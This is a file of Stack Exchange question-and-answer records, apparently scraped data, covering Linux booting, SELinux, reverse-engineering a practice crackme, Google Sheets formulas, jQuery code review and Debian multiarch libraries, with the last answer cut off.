{  "id": "_unix.9451"  , "question": "Is it possible to boot linux without a initrd.img ? I am planning to add default drivers as a part-of-kernel itself and avoid initrd completely.What are the modules that should be made part-of-the-kernel instead of loadable modules ?"  , "title": "Booting without initrd"  , "tags": "linux;kernel;boot;kernel modules;initrd"  , "accepted_answer": "It is, unless your root volume is on an LVM, on a dmcrypt partition, or otherwise requires commands to be run before it can be accessed.I haven't used an initrd on my server in years.  You need at a minimum these modules built in:the drivers of whatever controller where your root volume disk livesthe drivers necessary to get to that like PCI, PCIe support, USB support, etc.the modules that run the filesystem mounted on it It's also a very good idea to build in your network card drivers as well.I've found that lspci/lsmod can help you here from your currently running kernel, look at what's there and use the make menuconfig search option before compiling to find where to enable the modules."  } 
{  "id": "_reverseengineering.5839"  , "question": "I have wanted to get into the art of reverse engineering for quite some time now, so I took a look at a few online lessons (such as opensecuritytraining.info) and also got my hands on IDA Pro.Obviously, since this is a complex topic, I was overwhelmed by registers, pointers, instructions et cetera. I know assembler and C fairly well, it's just (like I said earlier) a topic where you have to learn much.Now to my actual question: I have downloaded a CrackMe-Program and started debugging it. Basically the objective is to find a key which you then have to enter into a Textbox in the program. I found the key checking function fairly easily and identified some logic, but I can't wrap my head around how the program actually compares the string. My C skills are much greater than my Assembler skills, so I decided to get some Pseudocode printed. The problem is that the Pseudocode is pretty messy (I'm guessing that's because of compiler optimizations) and I basically can't understand what this piece of code is supposed to do.Here is the code (sorry it's a bit long):int __usercall TSDIAppForm_Button1Click<eax>(int a1<eax>, int a2<ebx>, int a3<edi>, int a4<esi>){  int v4; // ebx@1  int v5; // esi@1  int v6; // eax@1  signed int v7; // eax@3  signed int v8; // edx@3  int v9; // ebx@3  int v11; // edx@12  int v12; // [sp-24h] [bp-34h]@1  int (*v13)(); // [sp-20h] [bp-30h]@1  int *v14; // [sp-1Ch] [bp-2Ch]@1  int v15; // [sp-18h] [bp-28h]@1  int (*v16)(); // [sp-14h] [bp-24h]@1  int *v17; // [sp-10h] [bp-20h]@1  int v18; // [sp-Ch] [bp-1Ch]@1  int v19; // [sp-8h] [bp-18h]@1  int v20; // [sp-4h] [bp-14h]@1  int v21; // [sp+0h] [bp-10h]@1  int v22; // [sp+4h] [bp-Ch]@1  int v23; // [sp+8h] [bp-8h]@2  void (__fastcall *v24)(int); // [sp+Ch] [bp-4h]@7  int v25; // [sp+10h] [bp+0h]@1  v22 = 0;  v21 = 0;  v20 = a2;  v19 = a4;  v18 = a3;  v5 = a1;  v17 = &v25;  v16 = loc_45C6FD;  v15 = *MK_FP(__FS__, 0);  *MK_FP(__FS__, 0) = &v15;  JUMPOUT(Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872)), 0xFu, *(unsigned int *)j);  v6 = Controls__TControl__GetTextLen(*(_DWORD *)(a1 + 872));  System____linkproc___DynArraySetLength(v6);  System____linkproc___DynArraySetLength(664);  v14 = &v25;  v13 = loc_45C699;  v12 = *MK_FP(__FS__, 0);  *MK_FP(__FS__, 0) = &v12;  v4 = 0;  do  {    Controls__TControl__GetText(*(_DWORD *)(v5 + 872), &v21, v12);    *(_DWORD *)(v23 + 4 * v4) = *(_BYTE *)(v21 + v4 - 1);    ++v4;  }  while ( v4 != 16 );  v8 = 1;  v9 = 0;  v7 = 4585384;  do  {    if ( v8 == 16 )      v8 = 1;    *(_BYTE *)(v22 + v9++) = *(_BYTE *)v7++ ^ *(_BYTE *)(v23 + 4 * v8++);  }  while ( v9 != 665 );  v24 = (void (__fastcall *)(int))v22;  // I know the key to success lies here, but I can't figure out what this if is supposed to do  if ( *(_BYTE *)v22 != 96 || *(_BYTE *)(v22 + 4) != 208 || *(_BYTE *)(v22 + 9) )    MessageBoxA_0(0, Invalid Key, Error, 0);  else    v24(v22);  *MK_FP(__FS__, 0) = v12;  v11 = v15;  *MK_FP(__FS__, 0) = v15;  System____linkproc___LStrClr(&v21, v11, 4572932);  System____linkproc___DynArrayClear(&v22, off_45C568);  return System____linkproc___DynArrayClear(&v23, off_45C548);}I would appreciate it if someone could give me advice on how to deobfuscate this piece of code. Are there any plugins available to do this? Is there a special technique that I can use to figure it out? Would it be better to look at the Assembler code instead of the Pseudocode?I especially wonder where these weird constants (like 872 for example) come from.Answers would be highly appreciated."  , "title": "Deobfuscating IDA Pseudocode"  , "tags": "ida;decompilation;deobfuscation"  , "accepted_answer": "IDA Pro is no magic tool to automatically decompile binaries to their source code. The decompiler output should not be relied every time (as compiling leads to loss of information) although IDA boasts of the finest decompiler available. Instead focus on the disassembly listing. For specific parts, you can use the decompiler output as your reference.Deobfuscation is a multi-step process. First try to understand the usages of variables, structures, etc and then give them a more easy-to-understand names reflecting their purpose. In many cases you can understand the variables purposes by just noting how it is used in function calls. For example Vcl.Controls.TControl.GetTextLen returns the length of the control's text. That means among the parameters passed, one must be the a pointer to the TControl. You can use this information to rename variables.In case of VCL binaries, Interactive Delphi Reconstructor, will give you more easy-to-understand disassembly, as it is geared for that purpose. IDR also has a somewhat very limited decompilation capability.For better understanding IDA Pro and its myriad of features, I would recommend to go through these two books The IDA Pro Book and Reverse Engineering Code with IDA Pro "  } 
{  "id": "_unix.35761"  , "question": "How can I write a script that basically just runs pkill -HUP inetd? I want to restart inetd via a script so I can schedule it to run at a particular time. I tried to write it myself, but I'm getting a Hangup error."  , "title": "How to pkill from a script?"  , "tags": "bash;shell;command line;shell script;dash"  } 
{  "id": "_unix.200031"  , "question": "I'm using Centos7 minimal. I've installed acpid and the daemon is running.When I hit the power button, I get the following in /var/log/messagesMay  2 18:52:53 localhost systemd-logind: Power key pressed.May  2 18:52:53 localhost systemd: SELinux policy denies access.and in /var/log/audit/audit.log:type=USER_AVC msg=audit(1430589539.562:468): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc:  denied  { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4177 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus  exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?'type=USER_AVC msg=audit(1430589539.571:469): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc:  denied  { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4182 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus  exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?'type=USER_AVC msg=audit(1430589539.586:470): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='avc:  denied  { start } for auid=-1 uid=0 gid=0 path=/usr/lib/systemd/system/poweroff.target scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:object_r:power_unit_file_t:s0 tclass=service  exe=/usr/lib/systemd/systemd sauid=0 hostname=? addr=? terminal=?'Piping that through audit2why gives the following output:type=USER_AVC msg=audit(1430589539.562:468): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc:  denied  { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4177 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus  exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?'        Was caused by:                Missing type enforcement (TE) allow rule.                You can use audit2allow to generate a loadable module to allow this access.type=USER_AVC msg=audit(1430589539.571:469): pid=815 uid=81 auid=4294967295 ses=4294967295 subj=system_u:system_r:system_dbusd_t:s0-s0:c0.c1023 msg='avc:  denied  { send_msg } for msgtype=method_call interface=org.freedesktop.DBus.Properties member=Get dest=org.freedesktop.systemd1 spid=4182 tpid=1 scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:system_r:init_t:s0 tclass=dbus  exe=/usr/bin/dbus-daemon sauid=81 hostname=? addr=? terminal=?'        Was caused by:                Missing type enforcement (TE) allow rule.                You can use audit2allow to generate a loadable module to allow this access.type=USER_AVC msg=audit(1430589539.586:470): pid=1 uid=0 auid=4294967295 ses=4294967295 subj=system_u:system_r:init_t:s0 msg='avc:  denied  { start } for auid=-1 uid=0 gid=0 path=/usr/lib/systemd/system/poweroff.target scontext=system_u:system_r:apmd_t:s0 tcontext=system_u:object_r:power_unit_file_t:s0 tclass=service  exe=/usr/lib/systemd/systemd sauid=0 hostname=? addr=? terminal=?'        Was caused by:                Missing type enforcement (TE) allow rule.                You can use audit2allow to generate a loadable module to allow this access.And finally, piping the audit to audit2allow -lar gives me:require {        type power_unit_file_t;        type init_t;        type apmd_t;        class dbus send_msg;        class service start;}#============= apmd_t ==============allow apmd_t init_t:dbus send_msg;allow apmd_t power_unit_file_t:service start;I'm not sure what to do next. How can I get from the output above to an active selinux policy?"  , "title": "Where to put the SElinux policy to allow acpid shutdown the system?"  , "tags": "security;selinux;acpid"  } 
{  "id": "_webapps.98999"  , "question": "I can access the photos that I sent through Hangouts album but what about the photos received from my friend through Hangouts? Where this photo will be stored? Is it not possible to access to this photo (received) other than downloading it?"  , "title": "Photos received through Hangouts"  , "tags": "google hangouts"  } 
{  "id": "_unix.287545"  , "question": "Any quick ideas on how to write a program that extends the terminal's basic functionality? I want to do everything the terminal does but additionally do some custom processing on whatever the user types on my terminal derivative."  , "title": "Extending Linux terminal Program"  , "tags": "bash;terminal;gnome terminal"  } 
{  "id": "_softwareengineering.244348"  , "question": "I was creating and discussing a class diagram with a partner of mine. To simplify things, I've modify the real domain we're working on and made up the following diagram:Basically, a company works on constructions that are quite different one from each other but are still constructions. Note I've added one field for each class but there should be many more.Now, I thought this was the way to go but my partner told me that if in the future new construction classes appear we would have to modify the Company class, which is correct. So the new proposed class diagram would be this:Now I've been wondering:Should the fact that in no place of the application will there be mixed lists of planes and bridges affect the design in any way?When we have to list only planes for a company, how are we supposed to distinguish them from the other elements in the list without checking for their class names?Related to the previous question, is it correct to assume that this type of diagram should be high-level and this is something it shouldn't matter at this stage but rather be thought and decided at implementation time?Any comment will be appreciated."  , "title": "What alternative is better to diagram this scenario?"  , "tags": "object oriented;inheritance;class diagram"  , "accepted_answer": "First and foremost, the models are highly dependent of the business domain so, since you have changed it, it might be that my answer fits the question but not your real domain.Depends of what the relationship means. An inventory of company or construction projects currently active would be examples where the relationship with AbstractProject would be understandable.I would do, so. Of course, your language might make it difficult and you might find it easier to add a type attribute to AbstractProject. (Not good because it breaks the open/closed principle).As, outside 1 & 2, I think that Plane and Bridge have so few things it common that probably you should skip the abstract class altogether. Of course, that would complicate the model, since know you either have two relationships with company (bad for the open/closed principle, if you end producing also Car), or you have to add another middle class (ConstructionProject), which is what I would do.No, it is not high level, free to change. It is the data that you pass to the code-monkeys so they do their job, and the data that you pass to other teams that must develop SW to use your system, so you have to stick with it.That does not forbid you from modifying it if you see that it does not really adapt to your needs, but those modifications in the code must be approved, reflected in the UML, and communicated. Depending of your project management phylosophy, they would be interpreted as mistakes or refinements of your original model."  } 
{  "id": "_codereview.68999"  , "question": "I'm going to be opensourcing some code I'm working on.  I don't need help with the code, I just want to make sure my code is readable and my comments make sense.  I have a knack for the esoteric.  This code is to control GE G35 Christmas lights using a Netduino controller. Due to the .NET overhead, I've written a custom lower-level driver compiled into the firmware.Can you follow my code? This is on an embedded processor which is why I'm doing a lot of bit-shifting. It's easier to write this way.   public Int32[,] getData()    {        int maxBulbs = getMaxBulbs();        // Using an abdnormal form of bitpacking here to make the C loop, very tight and efficient.        // The first address of the array is the bulb position on all strings.        // The second address of the array is actually the corresponding bulb information for that bit.        // Within the array, we store a 32-bit int. Each bit in this int, represents a G35 Strand/string        // So at data[0, 0] we have a 32 bit int, this int represents the first bulb on all strings, first data information bit for up to 32 strands.        Int32[,] data = new Int32[getMaxBulbs(), 26]; // number bulbs on a strand, 26 bit bulb info        foreach (G35String gstring in Strings)        {            for (short c_bulb = 1; c_bulb < maxBulbs; c_bulb++)            {                // This is a bit of a shortcut. because we know that G35's just pass the information down                // the pipe and due to the way we are sending data in parallel, if one string has                // more bulbs than another, we just send fake data to the non existent bulb on that string                G35Bulb gbulb = (c_bulb < gstring.bulbs.Length ? gstring.bulbs[c_bulb] : new G35Bulb(0, 0));                // bulb address                data[c_bulb, 0] = (c_bulb & 0x20) << gstring.StringPinAddress;                data[c_bulb, 1] = (c_bulb & 0x10) << gstring.StringPinAddress;                data[c_bulb, 2] = (c_bulb & 0x08) << gstring.StringPinAddress;                data[c_bulb, 3] = (c_bulb & 0x04) << gstring.StringPinAddress;                data[c_bulb, 4] = (c_bulb & 0x02) << gstring.StringPinAddress;                data[c_bulb, 5] = (c_bulb & 0x01) << gstring.StringPinAddress;                // bulb brightness                data[c_bulb, 6] = (gbulb.BulbBrightness & 0x80) << gstring.StringPinAddress;                data[c_bulb, 7] = (gbulb.BulbBrightness & 0x40) << gstring.StringPinAddress;                data[c_bulb, 8] = (gbulb.BulbBrightness & 0x20) << gstring.StringPinAddress;                data[c_bulb, 9] = (gbulb.BulbBrightness & 0x10) << gstring.StringPinAddress;                data[c_bulb, 10] = (gbulb.BulbBrightness & 0x08) << gstring.StringPinAddress;                data[c_bulb, 11] = (gbulb.BulbBrightness & 0x04) << gstring.StringPinAddress;                data[c_bulb, 12] = (gbulb.BulbBrightness & 0x02) << gstring.StringPinAddress;                data[c_bulb, 13] = (gbulb.BulbBrightness & 0x01) << gstring.StringPinAddress;                // Blue                data[c_bulb, 14] = (gbulb.BulbColor >> 8 & 0x8) << gstring.StringPinAddress;                data[c_bulb, 15] = (gbulb.BulbColor >> 8 & 0x4) << gstring.StringPinAddress;                data[c_bulb, 16] = (gbulb.BulbColor >> 8 & 0x2) << gstring.StringPinAddress;                data[c_bulb, 17] = (gbulb.BulbColor >> 8 & 0x1) << gstring.StringPinAddress;                // Green                data[c_bulb, 18] = (gbulb.BulbColor >> 4 & 0x8) << gstring.StringPinAddress;                data[c_bulb, 19] = (gbulb.BulbColor >> 4 & 0x4) << gstring.StringPinAddress;                data[c_bulb, 20] = (gbulb.BulbColor >> 4 & 0x2) << gstring.StringPinAddress;                data[c_bulb, 21] = (gbulb.BulbColor >> 4 & 0x1) << gstring.StringPinAddress;                // Red                data[c_bulb, 22] = (gbulb.BulbColor & 0x8) << gstring.StringPinAddress;                data[c_bulb, 23] = (gbulb.BulbColor & 0x4) << gstring.StringPinAddress;                data[c_bulb, 24] = (gbulb.BulbColor & 0x2) << gstring.StringPinAddress;                data[c_bulb, 25] = (gbulb.BulbColor & 0x1) << gstring.StringPinAddress;            }        }        return data;    }In the C++ driver, I can blast all the registers I need like this in parallel:// LED AddresssendBits(data[i][0]);sendBits(data[i][1]);sendBits(data[i][2]);sendBits(data[i][3]);sendBits(data[i][4]);sendBits(data[i][5]);void sendBits(uint16_t gpioPins, uint32_t data){    *_BSRRL = gpioPins;    delayMicroseconds(DELAYSHORT); // 10us    *_BSRRH = gpioPins;    delayMicroseconds(DELAYSHORT); // 10us    *_BSRRL = ~data;    delayMicroseconds(DELAYSHORT); // 10us    *_BSRRL = gpioPins;}"  , "title": "Embedded C# bitpacked arrays to low-level STM32F4 driver for GE G35 RGB LED Christmas tree light"  , "tags": "c#;.net;bitwise;embedded;device driver"  } 
{  "id": "_webmaster.53287"  , "question": "I'm planning to add an XML Sitemap to a client's existing website.  According to this, it will help define the difference between the root website (aimed at UK) and the US website (aimed at the United States) and a few other languages/locales.Is it enough to add only this to the sitemap or will Google punish me for not adding all pages in there? The content changes quite often and we don't have a way to deal with updating the XML regularly at this point. Also the existing content is well indexed on Google already, it's just the concern about multiple pages in English that's behind this."  , "title": "Do all pages have to be added to XML Sitemaps?"  , "tags": "seo;xml sitemap;language;hreflang"  , "accepted_answer": "Google's John Mueller has answered the question should I include every single page of my blog in the Sitemap (including tag pages and the date-based archives) or just the important ones?:Its always a good idea for your XML Sitemap file to include all pages which you want to have indexed. While he says that it is a good idea it shouldn't be necessary.  Google uses sitemaps primarily for URL discovery.  If Googlebot can discover URLs by crawling your website, those URLs wouldn't have to be in a sitemap.   URLs excluded from the sitemap wouldn't get any of the other side benefits such as:Recognizing preferred URLs for canonicalizationBeing included in the indexed URL count in webmaster tools (WMT)Getting prioritized in the list of crawl errors in WMT"  } 
{  "id": "_opensource.2224"  , "question": "For my OSS project, is it a good idea to release the brand assets under a CC license?I want to make it easy for people to use the logo for blogs/articles talking about the product and derivatives for forks of the project, but I also want to keep some restriction on it so it doesn't look like the official project is endorsing another branch/unofficial forum/paid service/etc. is clearly not associated with the project.It seems as trademark with usage guidelines would be the best, but it's unrealistic to trademark a name for a project that I cannot guarantee success. I could, in theory, keep the copyright and license it under another license (any recommendations?) that allows the uses specified above. Is this a good idea?I technically did derive the logo from a CC0 public domain image, but it has very little resemblance (it's a common icon, but the trademark identity is in the exact colors and shapes). I changed the shape, orientation, colors, and outlines; I think it's unique enough for copyright protection."  , "title": "How should I license my project's logo?"  , "tags": "licensing;license recommendation;trademark;logos"  } 
{  "id": "_webmaster.21298"  , "question": "I started to develop my own webdesign using an grid framework 960 CSS Framework and also noticed that most of other famous css grid frameworks use 940/960px as maximum page width? Some of them have an online generators where you can calculate and generate the same framework but for different width size.Can you tell me why they suggest 960 px as default? And more important: Why everything is measured in pixels rather than pt, cm, % or any other css units?Edit: Isn't it better to use 'in' as css unit and be sure that on every screen (computer, smartphone) it will have the same size?P.S. Some other grid css frameworks:BlueprintYUI 2: Grids CSSBootstrapSkeleton"  , "title": "Most CSS Grid frameworks use pixel as css units, why?"  , "tags": "css;web development;grid;website design"  } 
{  "id": "_webapps.43208"  , "question": "I created a Google Spreadsheet file which I want to share with my coworkers so each one has his own copy. So far the only way I found is to share the file, however these doesn't work for me because each coworker has his own information, and the information used in the file is not for collaboration.Is there a way to send a copy of the file so that each one has his own copy, like the way you would send an excel file over email so that everyone would have their own copy?Thanks."  , "title": "Share individual copies of a Google spreadsheet"  , "tags": "google drive;google spreadsheets;google apps"  } 
{  "id": "_webapps.91066"  , "question": "I am looking for a formula to generate a moving average of the last two weeks OR the last 10 data points (whichever produces more data points) conditional upon the presence of data in two other columns. Example.I want to calculate:The average of column $K for the past two weeks (from today's date) OR the past ten data points (whichever is a larger data set) when column $G=HenkkyG and column $U=LAN. Effectively I want Player HenkkyG's average over the past two weeks or 10 games (data points).I am currently using this formula for overall average:=IFERROR(AVERAGEIF($G:$G,AF2,$K:$K)) where AF2=player name I am drawing data for."  , "title": "Conditional moving average: the last two weeks or over 10 data points"  , "tags": "google spreadsheets"  , "accepted_answer": "This can be done with a few filter commands. To filter by columns G and U: =filter(B2:K, (G2:G = HenkkyG) * (U2:U = LAN))(Here, multiplication is logical, meaning AND). To filter the scores by either within 14 days or among the last 10, the condition would be: =filter(K2:K, (B2:B >= today()-14) + (rank(B2:B, B2:B, false) <= 10))  Here + is logical OR, and the rank is in descending order, picking the 10 largest entries from the date column. It remains to combine these.  In the interest of maintainability, it may be best to do things separately (perhaps on another sheet): apply the first filter, and then use the second on its output. But it's possible to do everything in one formula, it just looks scary: the first filter is applied to each column appearing in the second filter.=filter(filter(K2:K, (G2:G = HenkkyG) * (U2:U = LAN)), (filter(B2:B, (G2:G = HenkkyG) * (U2:U = LAN)) >= today()-14) + (rank(filter(B2:B, (G2:G = HenkkyG) * (U2:U = LAN)), filter(B2:B, (G2:G = HenkkyG) * (U2:U = LAN)), false) <= 10))  This is not the kind of formulas that I would want to deal with in a spreadsheet  inherited from  someone else. "  } 
{  "id": "_codereview.82628"  , "question": "I'm looking for some help on how I can optimize adding multiple data attribute tags to elements, and really, any feedback at all.BackgroundClient uses a analytics tool through a tag management application (Ensighten) that picks-up data attributes when links are clicked. I'm adding attributes when the DOM is ready to provide them with more information about what people are clicking, where they are clicking, etc.init.jsHere is an example of my init.js file (Ensighten wraps this in a IIFE):// global namespacewindow.analytics = window.analytics || {};window.analytics.heatmapping = window.analytics.heatmapping || {};window.analytics.heatmapping.header = {    logo: function () {        var $this = jQuery(this),            name = $this.closest('ul.navL2').prev().text(),            type = $this.attr('alt'),            title = $this.attr('title');        window.analytics.utilities.setDataAttributes($this, {            'region': 'header',            'name': name,            'type': type,            'title': title,            'index': '1'        });    } // ... more below,};// initializingjQuery('.top a').each(window.analytics.heatmapping.header.logo);utilities.jsI have another custom javascript tag that houses all of the utility functions that we can reuse. This is where the setDataAttributes function is kept. Here is the setDataAttributes function with its supporting functions. /** * Set data attributes on an element * @param {object} element A jQuery object, typically we'll pass jQuery(this). * @param {object} dataAttributes The data attributes we wish to set */window.analytics.utilities.setDataAttributes = function (element, dataAttributes) {    var util = window.analytics.utilities,        dataAnalyticsTagAttributes,    if (util.hasDataAnalyticsTag(element)) {        dataAnalyticsTagAttributes = util.parseDataAnalyticsTag(element);        // merge objects        $.extend(dataAttributes, dataAnalyticsTagAttributes);    }    dataAttributes = util.prefixAndTrimProperties(dataAttributes);    element.attr(dataAttributes);};/** * Prefixes the incoming objects keys with 'data-' and trims objects values * @param  {object} dataAttributes * @return {object} dataAttributeWithPrefix */window.analytics.utilities.prefixAndTrimProperties = function (dataAttributes) {    var util = window.analytics.utilities,        dataAttributesWithPrefix = {},        dataKeyWithPrefix,        dataKey,        dataValue    for (dataKey in dataAttributes) {        if (dataAttributes.hasOwnProperty(dataKey)) {            // prefix key with data- and trim value            dataKeyWithPrefix = util.addPrefixToKey(dataKey)            dataValue = jQuery.trim(dataAttributes[dataKey]);            // returns new prefixed and clean property in dataAttributesWithPrefix object            dataAttributesWithPrefix[wedcsKeyWithPrefix] = dataValue;        }    }    return dataAttributesWithPrefix;};/** * Determines if input element has the data-analytics tag attibute * @param  {object} element jQuery(this) * @return {Boolean} */window.analytics.utilities.hasDataAnalyticsTag = function(element) {    return element.is('[data-analyticstag]');};/** * adds the 'data-' prefix to the input string * @param {string} key The objects key it currently iterating on. * @return {string}  */window.analytics.utilities.addPrefixToKey = function (key) {    return 'data-' + key;}/** * Parses the data-analytics attribute on * @param  {object} element A jQuery object, typically we'll pass jQuery(this). * @return {object} An object with the properties index, linktype and cmpgrp */window.analytics.utilities.parseDataAnalyticsTag = function (element) {    var dataAnalyticsAttributeArray = element.attr('data-analyticstag').split('_');    return {        'index': dataAnalyticsAttributeArray[4].match(/\\d$/),        'type': dataAnalyticsAttributeArray.splice(0, 4).join(':'),        'region': dataAnalyticsAttributeArray[3]    };};Let me explain what the setDataAttributes function does:it takes two arguments: element and dataAttributes (an object)it checks to see if the element has a dataAnalytics tag (some links have a data-analytics tag that we can get some values from)if the element does have the data-analyticstag, then we parse it and return an object (see parseDataAnalyticsTag) and merge it with the original dataAttributes object.Next, we take the dataAttributes object and pass it into another function prefixAndTrimProperties where we prefix each key with 'data-' and trim each value, this function returns an object.we take the returned object and pass it into element.attr(dataAttributes) where it then sets the data attributes for that specific element.QuestionsI'm currently reading Clean Code by Robert C. Martin, and I'm attempting to apply some of his practices around naming and functions - haven't made it to the rest of the book yet. How does my naming look? I'm a little lost on the prefixAndTrimProperties function. In his book he states that you only want the function to do one thing, and my function is doing two - at least.Am I splitting up my functions in a way that are more testable? For example, is it really necessary to just have a function like hasDataAnalyticsTag return true or false? How granular should I be getting? Is it overkill?Any other advice?"  , "title": "Add multiple data attributes to elements using jQuery"  , "tags": "javascript;jquery"  , "accepted_answer": "I'm a little lost on the prefixAndTrimProperties function. In [Martin's] book he states that you only want the function to do one thing, and my function is doing two - at least.It's true that a function should ideally only do one thing. But what constitutes one thing is somewhat debatable. For instance, if you instead call your function prepareProperties then its one thing is to, well, prepare a properties object. That's an operation that counts as one thing in your context. Yes, it entails both trimming values and prefixing keys, but that's an implementation detail.Am I splitting up my functions in a way that are more testable? For example, is it really necessary to just have a function like hasDataAnalyticsTag return true or false? How granular should I be getting? Is it overkill?Probably a little overkill, yes. But I'm more concerned about its use - or lack thereof. In parseDataAnalyticsTag you don't use it, meaning you may get an exception: element.attr('data-analyticstag').split('_') will fail if the attribute doesn't exist, since attr() will returned undefined, which you can't split.In fact, I'd say it'd be easier to simply call parseDataAnalyticsTag and have it return null or an empty object if there's no attribute to parse. Right now, you've split it into checking and parsing, but - as far as I can tell - you only need to check if you want to parse. And if you want to parse, you need to check. So that's one thing.So, how granular should it be? Enough to keep the code DRY. If you find yourself repeating something, extract it into a function. Conversely, combine dependent/sequential steps into a function, and call that one thing.By the way, there's a hint that you may be too diligent in splitting things up. The comments for addPrefixToKey say// @param {string} key The objects key it currently iterating on.Who said anything about an object? Or iteration? Or a key for that matter? The function just takes an argument - any argument, really - and prepends data- to it. That's it. Its name and comments indicate that it was intended for or extracted from a very specific context, but the function itself really doesn't care. But if its intended use-case is so specific, it probably shouldn't be a separate function at all.As to the code itself:You're exposing all your functions in the window.analytics.utilities object, though you seem to only use one: setDataAttributes. So that's your API; the rest is - viewed from the outside - implementation details.I'm also not a big fan of the parseDataAnalyticsTag function. For one, its @return comment lies: The object does not contain index, linktype and cmpgrp properties - it contains index, type and region. Boo.It's also fragile and fairly tricky to follow, despite its short length. As mentioned, you assume that the attribute exists when you call split, but after that, you also assume that there are at least 8 elements in the resulting array. And the use of splice instead of slice makes it hard to keep track of indices, and requires things to happen in the right order. I.e. the region value is actually index 7 - not 3 - in the original array, so it only works because you've used splice.Lastly, setDataAttributes has side effects: You're modifying the dataAttributes object you're given. It's ok for the usage you've got right now, since you're not keeping a reference to the object on the caller's side, but it's icky nonetheless.Suggestions:I'd consider making this a jQuery plugin. You're depending on jQuery anyway.Something like this, perhaps (note: incomplete implementation)// get any existing attributes from the `data-analyticstag` attribute (if present)function analyticsTagAttributes(element) {  // ... see current implementation, and all the stuff above ...}// Prefixes keys, and trims valuesfunction prepareAttributes(object) {  var key, prepared = {};  for(key in object) {    if(object.hasOwnProperty(key)) {      prepared[data- + key] = $.trim(object[key]);    }  }  return prepared;}// extend jQuery$.fn.extend({  setAnalyticsAttributes: function (attributes) {    return this.each(function () {      var prepared = prepareAttributes(attributes),          existing = analyticsTagAttributes(this) || {},          merged = $.extend(existing, prepared);      $(this).attr(merged);    });  }});With that, you can simply call$(elementOrSelector).setAnalyticsAttributes({  region: 'header',  name: name,  type: type,  title: title,  index: '1'});Or, if you want to mimic jQuery, you make it a analytics function, so you can use it much like .attr():$(elementOrSelector).analytics()    // returns existing values$(elementOrSelector).analytics(obj) // sets values"  } 
{  "id": "_unix.83773"  , "question": "I want to play the game Aquaria in a Debian Wheezy 64 bits. The installation went ok, but when trying to play the game I get these errors:ALSA lib conf.c:3314:(snd_config_hooks_call) Cannot open shared library libasound_module_conf_pulse.soALSA lib control.c:951:(snd_ctl_open_noupdate) Invalid CTL hw:0AL lib: alsa.c:1000: control open (0): No such file or directoryMessage: SDL_GL_LoadLibrary Error: Failed loading libGL.so.1I have added 32 bit compatibility with dpkg --add-architecture i386 and I think that the required libraries are present in the system since typing locate libasound_module_conf_pulse.so yields:/usr/lib/x86_64-linux-gnu/alsa-lib/libasound_module_conf_pulse.soand locate libGL.so.1:/etc/alternatives/glx--libGL.so.1-x86_64-linux-gnu/usr/lib/mesa-diverted/i386-linux-gnu/libGL.so.1/usr/lib/mesa-diverted/i386-linux-gnu/libGL.so.1.2/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1/usr/lib/mesa-diverted/x86_64-linux-gnu/libGL.so.1.2/usr/lib/x86_64-linux-gnu/libGL.so.1/usr/lib/x86_64-linux-gnu/fglrx/fglrx-libGL.so.1.2/usr/lib/x86_64-linux-gnu/fglrx/libGL.so.1However, it seems that Debian is ignoring them. What can I do to play Aquaria?EDIT 1: ldd aquarialinux-gate.so.1 =>  (0xf77e1000)libSDL-1.2.so.0 => /opt/Aquaria/./libSDL-1.2.so.0 (0xf7748000)libopenal.so.1 => /opt/Aquaria/./libopenal.so.1 (0xf76fa000)libstdc++.so.6 => /opt/Aquaria/./libstdc++.so.6 (0xf760d000)libm.so.6 => /lib/i386-linux-gnu/i686/cmov/libm.so.6 (0xf75c3000)libgcc_s.so.1 => /opt/Aquaria/./libgcc_s.so.1 (0xf75b8000)libc.so.6 => /lib/i386-linux-gnu/i686/cmov/libc.so.6 (0xf7455000)libdl.so.2 => /lib/i386-linux-gnu/i686/cmov/libdl.so.2 (0xf7451000)libpthread.so.0 => /lib/i386-linux-gnu/i686/cmov/libpthread.so.0 (0xf7437000)librt.so.1 => /lib/i386-linux-gnu/i686/cmov/librt.so.1 (0xf742e000)/lib/ld-linux.so.2 (0xf77e2000)"  , "title": "Running a 32-bit application in Debian Wheezy 64 bits: Missing libraries"  , "tags": "64bit;debian;multiarch"  , "accepted_answer": "It seems you're missing the 32-bit libraries (/usr/lib/x86_64-linux-gnu contains 64-bit libraries).Now, let's figure out which packages you need for your libraries:$ dpkg -S /usr/lib/x86_64-linux-gnu/alsa-lib/libasound_module_conf_pulse.solibasound2-plugins:amd64: /usr/lib/x86_64-linux-gnu/alsa-lib/libasound_module_conf_pulse.so$ dpkg -S /usr/lib/x86_64-linux-gnu/libGL.so.1libgl1-mesa-glx:amd64: /usr/lib/x86_64-linux-gnu/libGL.so.1So you need 32-bit versions of these packages:# apt-get install libasound2-plugins:i386 libgl1-mesa-glx:i386In general, before you can install any 32-bit libraries, you must add the i386 architecture to dpkg:# dpkg --add-architecture i386# apt-get updateUpdateSince the above didn't solve the libGL.so.1 issue and it seems from your ldd output that Aquaria can see all its required libraries, I googled the libGL.so.1 error message and two things came up. Please try the following 2 solutions in order:As explained here try symlinking libGL.so.1:ln -sv /usr/lib/i386-linux-gnu/libGL.so.1.2 /usr/lib/libGL.so.1Note 